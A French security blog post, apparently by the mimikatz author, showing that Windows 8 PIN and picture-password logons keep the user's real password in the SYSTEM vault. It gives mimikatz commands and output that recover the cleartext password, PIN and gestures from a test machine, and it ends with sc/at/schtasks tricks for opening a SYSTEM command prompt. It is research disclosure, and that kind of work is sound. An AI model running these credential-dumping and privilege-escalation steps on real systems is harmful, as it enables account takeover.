Windows 8, code PIN et mot de passe image

Avec l’arrivée de Windows 8 dans un monde de tablettes, certaines équipes de Microsoft ont dû réfléchir à la facilité de saisir des mots de passe tel que Tr0ub4dor&3 ou Tmb1W>r~ sur un clavier tactile limité.

Windows 8 introduit alors 2 nouveaux modes de connexions utilisateur :

  1. Connexion par code PIN
    pin_icon
  2. Connexion par mot de passe image
    picture_icon
    Quelques explications sur le fonctionnement du mot de passe image : http://blogs.msdn.com/b/b8/archive/2011/12/16/signing-in-with-a-picture-password.aspx

Hypothèse

Le fonctionnement interne de Windows, que ce soit la DPAPI, les authentifications réseau ou dans certains cas l’utilisation du compte Live, repose sur des dérivés du mot de passe réel du compte.
Il y a donc fort à parier que dans ce mode de fonctionnement, PIN ou mot de passe image, Windows stocke le mot de passe réel de l’utilisateur pour le réutiliser lors d’une ouverture de session véritable.

Création

Créons un code PIN (4567) :
create_pin
Ainsi qu’un mot de passe image :
create_picture

Investigation

Il n’y a pas à chercher très loin, une bonne partie des informations est disponible avec les outils de base :

C:\Windows\System32>whoami
autorite nt\système

C:\Windows\System32>vaultcmd /listcreds:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}
Informations d'identification du coffre : {4BF4C442-9B8A-41A0-B380-DD4A704DDB28}

Schéma d'informations d'identification : Picture Password Vault Resource Schema
Ressource : Picture Password Vault Resource
Identité : 010500000000000515000000A346DEFB5D8AA5A6422633BEE9030000
Enregistré par : Picture Password Credential
Caché : Non
Itinérance : Non
Propriété (ID d'élément de schéma, valeur) : (100,0200000039000000350000001700000001000000010000003D00000017000000590000002600000000000000690000000A0000000000000000000000)

Schéma d'informations d'identification : PIN Logon Vault Resource Schema
Ressource : PIN Logon Vault Resource
Identité : 010500000000000515000000A346DEFB5D8AA5A6422633BEE9030000
Enregistré par : PIN Logon Credential
Caché : Non
Itinérance : Non
Propriété (ID d'élément de schéma, valeur) : (100,4567)

Il suffit donc d’utiliser mimikatz pour emprunter l’identité du système puis de lire le contenu de son coffre :

  .#####.   mimikatz 2.0 alpha (x86) release "Kiwi en C" (Jan 11 2014 15:24:10)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                    with  14 modules * * */

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::elevate
Token Id  : 0
User name : 
SID name  : AUTORITE NT\Système

416	32204     	AUTORITE NT\Système	S-1-5-18	(04g,20p)	Primary
 -> Impersonated !
 * Process Token : 2550316   	windows-81\Administrateur	S-1-5-21-4225648291-2795866717-3191023170-500	(14g,23p)	Primary
 * Thread Token  : 2555077   	AUTORITE NT\Système	S-1-5-18	(04g,20p)	Impersonation (Delegation)

mimikatz # vault::list

Vault : {4bf4c442-9b8a-41a0-b380-dd4a704ddb28}
	Name       : Informations didentification Web
	Path       : C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
	Items (2)
	  0.	Picture Password Credential
		Type            : {b4b8a12b-183d-4908-9559-bd8bce72b58a}
		LastWritten     : 11/01/2014 19:57:42
		Flags           : 00000000
		Ressource       : Picture Password Vault Resource
		Identity        : 01 05 00 00 00 00 00 05 15 00 00 00 a3 46 de fb 5d 8a a5 a6 42 26 33 be e9 03 00 00 
		Authenticator   : 
		PackageSid      : 
		Property  0     : 02 00 00 00 39 00 00 00 35 00 00 00 17 00 00 00 01 00 00 00 01 00 00 00 3d 00 00 00 17 00 00 00 59 00 00 00 26 00 00 00 00 00 00 00 69 00 00 00 0a 00 00 00 00 00 00 00 00 00 00 00 
		*Authenticator* : 54 00 72 00 30 00 75 00 62 00 34 00 64 00 6f 00 72 00 26 00 33 00 00 00 

		*** Picture Password ***
		User            : windows-81\Gentil Kiwi
		Password        : Tr0ub4dor&3
		Picture password (grid is 150*100)
		 [0] circle (x =  57 ; y =  53 ; r =  23) - clockwise
		 [1] line   (x =  61 ; y =  23) -> (x =  89 ; y =  38)
		 [2] point  (x = 105 ; y =  10)

	  1.	PIN Logon Credential
		Type            : {b2e033f5-5fde-450d-a1bd-3791f465720c}
		LastWritten     : 11/01/2014 18:46:40
		Flags           : 00000000
		Ressource       : PIN Logon Vault Resource
		Identity        : 01 05 00 00 00 00 00 05 15 00 00 00 a3 46 de fb 5d 8a a5 a6 42 26 33 be e9 03 00 00 
		Authenticator   : 
		PackageSid      : 
		Property  0     : 4567
		*Authenticator* : 54 00 72 00 30 00 75 00 62 00 34 00 64 00 6f 00 72 00 26 00 33 00 00 00 

		*** Pin Logon ***
		User            : windows-81\Gentil Kiwi
		Password        : Tr0ub4dor&3
		PIN Code        : 4567

Vérification

Nous retrouvons bien le mot de passe « en clair », ainsi que le code PIN, et les indications de gestes avec le référentiel suivant :
password_reveal

Téléchargement

La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz

Invite de commandes en SYSTEM

Astuce temporaire permettant d’obtenir une invite de commandes avec le droit SYSTEM.

sc create syscmd binpath= "cmd /k start" type= own type= interact
sc start  syscmd
sc delete syscmd

Je la préfére de loin à l’astuce passant par le planificateur de tâches.

at 00:00 /interactive cmd
schtasks /run /tn at1
schtasks /delete /tn at1 /f

* AT est utilisé pour la création afin de garder le mode interactif…

Ce sont des astuces rapides en ligne de commande pouvant être encore plus confortables dans un script…